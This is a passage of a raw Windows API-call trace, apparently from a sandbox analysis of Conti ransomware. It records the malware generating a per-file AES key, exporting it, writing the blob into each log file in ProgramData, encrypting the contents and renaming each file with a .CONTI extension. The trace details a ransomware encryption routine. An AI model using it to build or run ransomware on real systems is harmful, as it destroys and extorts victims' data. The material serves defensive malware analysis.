	[0128.786] CloseHandle (hObject=0x3f8) returned 1
	[0128.786] GetProcessHeap () returned 0x1720000
	[0128.786] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.786] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl"
	[0128.786] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.CONTI"
	[0128.786] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.007.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.007.etl.conti")) returned 1
	[0128.787] GetProcessHeap () returned 0x1720000
	[0128.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.787] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0128.787] GetProcessHeap () returned 0x1720000
	[0128.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9580 | out: hHeap=0x1720000) returned 1
	[0128.787] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0128.787] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b534c0 | out: phKey=0x6b534c0*=0x17c8430) returned 1
	[0128.787] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b534c4, pdwDataLen=0x497fc1c | out: pbData=0x6b534c4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0128.788] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.008.etl")) returned 0x2020
	[0128.788] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.008.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0128.788] GetLastError () returned 0x0
	[0128.788] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=12288) returned 1
	[0128.788] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.788] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.789] SetEndOfFile (hFile=0x3f8) returned 1
	[0128.789] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.789] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.789] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b534c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b534c4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0128.790] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.790] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x3000, lpOverlapped=0x0) returned 1
	[0128.791] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x3000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x3010) returned 1
	[0128.791] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.791] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x3010, lpOverlapped=0x0) returned 1
	[0128.791] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.791] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b534b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b534b8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0128.791] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.791] CloseHandle (hObject=0x3f8) returned 1
	[0128.791] GetProcessHeap () returned 0x1720000
	[0128.791] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.791] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl"
	[0128.791] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.CONTI"
	[0128.791] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.008.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.008.etl.conti")) returned 1
	[0128.792] GetProcessHeap () returned 0x1720000
	[0128.792] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.792] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0128.792] GetProcessHeap () returned 0x1720000
	[0128.792] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8da0 | out: hHeap=0x1720000) returned 1
	[0128.792] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0128.792] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b51df0 | out: phKey=0x6b51df0*=0x17c80b0) returned 1
	[0128.792] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51df4, pdwDataLen=0x497fc1c | out: pbData=0x6b51df4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0128.793] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.009.etl")) returned 0x2020
	[0128.794] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0128.794] GetLastError () returned 0x0
	[0128.794] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=12288) returned 1
	[0128.794] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.794] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.794] SetEndOfFile (hFile=0x3f8) returned 1
	[0128.794] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.794] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.794] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b51df4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b51df4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0128.796] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.796] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x3000, lpOverlapped=0x0) returned 1
	[0128.796] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x3000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x3010) returned 1
	[0128.796] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.796] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x3010, lpOverlapped=0x0) returned 1
	[0128.797] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.797] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b51de8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b51de8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0128.797] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.797] CloseHandle (hObject=0x3f8) returned 1
	[0128.797] GetProcessHeap () returned 0x1720000
	[0128.797] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.797] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl"
	[0128.797] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.CONTI"
	[0128.797] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.009.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.009.etl.conti")) returned 1
	[0128.798] GetProcessHeap () returned 0x1720000
	[0128.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.798] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0128.798] GetProcessHeap () returned 0x1720000
	[0128.798] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9460 | out: hHeap=0x1720000) returned 1
	[0128.798] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0128.798] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b52280 | out: phKey=0x6b52280*=0x17c7e70) returned 1
	[0128.798] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52284, pdwDataLen=0x497fc1c | out: pbData=0x6b52284*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0128.799] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.010.etl")) returned 0x2020
	[0128.799] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0128.799] GetLastError () returned 0x0
	[0128.799] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=8192) returned 1
	[0128.799] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0128.799] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.799] SetEndOfFile (hFile=0x3f8) returned 1
	[0128.800] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.800] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.800] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b52284*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b52284*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0128.801] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.801] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2000, lpOverlapped=0x0) returned 1
	[0128.801] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2010) returned 1
	[0128.802] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.802] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2010, lpOverlapped=0x0) returned 1
	[0128.802] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.802] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b52278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b52278*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0128.802] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.802] CloseHandle (hObject=0x3f8) returned 1
	[0128.802] GetProcessHeap () returned 0x1720000
	[0128.802] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.802] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl"
	[0128.802] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.CONTI"
	[0128.802] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.010.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.010.etl.conti")) returned 1
	[0128.803] GetProcessHeap () returned 0x1720000
	[0128.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.803] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0128.803] GetProcessHeap () returned 0x1720000
	[0128.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c94f0 | out: hHeap=0x1720000) returned 1
	[0128.803] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0128.803] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b53950 | out: phKey=0x6b53950*=0x17c7f30) returned 1
	[0128.803] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53954, pdwDataLen=0x497fc1c | out: pbData=0x6b53954*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0128.804] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.011.etl")) returned 0x2020
	[0128.804] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0128.804] GetLastError () returned 0x0
	[0128.804] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=8192) returned 1
	[0128.804] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0128.804] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.804] SetEndOfFile (hFile=0x3f8) returned 1
	[0128.804] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.804] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.804] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b53954*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b53954*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0128.806] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.806] ReadFile (in: hFile=0x3f8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2000, lpOverlapped=0x0) returned 1
	[0128.806] CryptEncrypt (in: hKey=0x17c7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2010) returned 1
	[0128.806] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.806] WriteFile (in: hFile=0x3f8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2010, lpOverlapped=0x0) returned 1
	[0128.806] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.806] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b53948*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b53948*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0128.806] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.807] CloseHandle (hObject=0x3f8) returned 1
	[0128.807] GetProcessHeap () returned 0x1720000
	[0128.807] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.807] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl"
	[0128.807] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.CONTI"
	[0128.807] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.011.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.011.etl.conti")) returned 1
	[0128.807] GetProcessHeap () returned 0x1720000
	[0128.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.807] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0128.807] GetProcessHeap () returned 0x1720000
	[0128.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8ad0 | out: hHeap=0x1720000) returned 1
	[0128.807] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0128.807] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b524c8 | out: phKey=0x6b524c8*=0x17c7f30) returned 1
	[0128.808] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b524cc, pdwDataLen=0x497fc1c | out: pbData=0x6b524cc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0128.808] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.012.etl")) returned 0x2020
	[0128.808] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0128.809] GetLastError () returned 0x0
	[0128.809] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=12288) returned 1
	[0128.809] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.809] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.809] SetEndOfFile (hFile=0x3f8) returned 1
	[0128.809] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.809] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
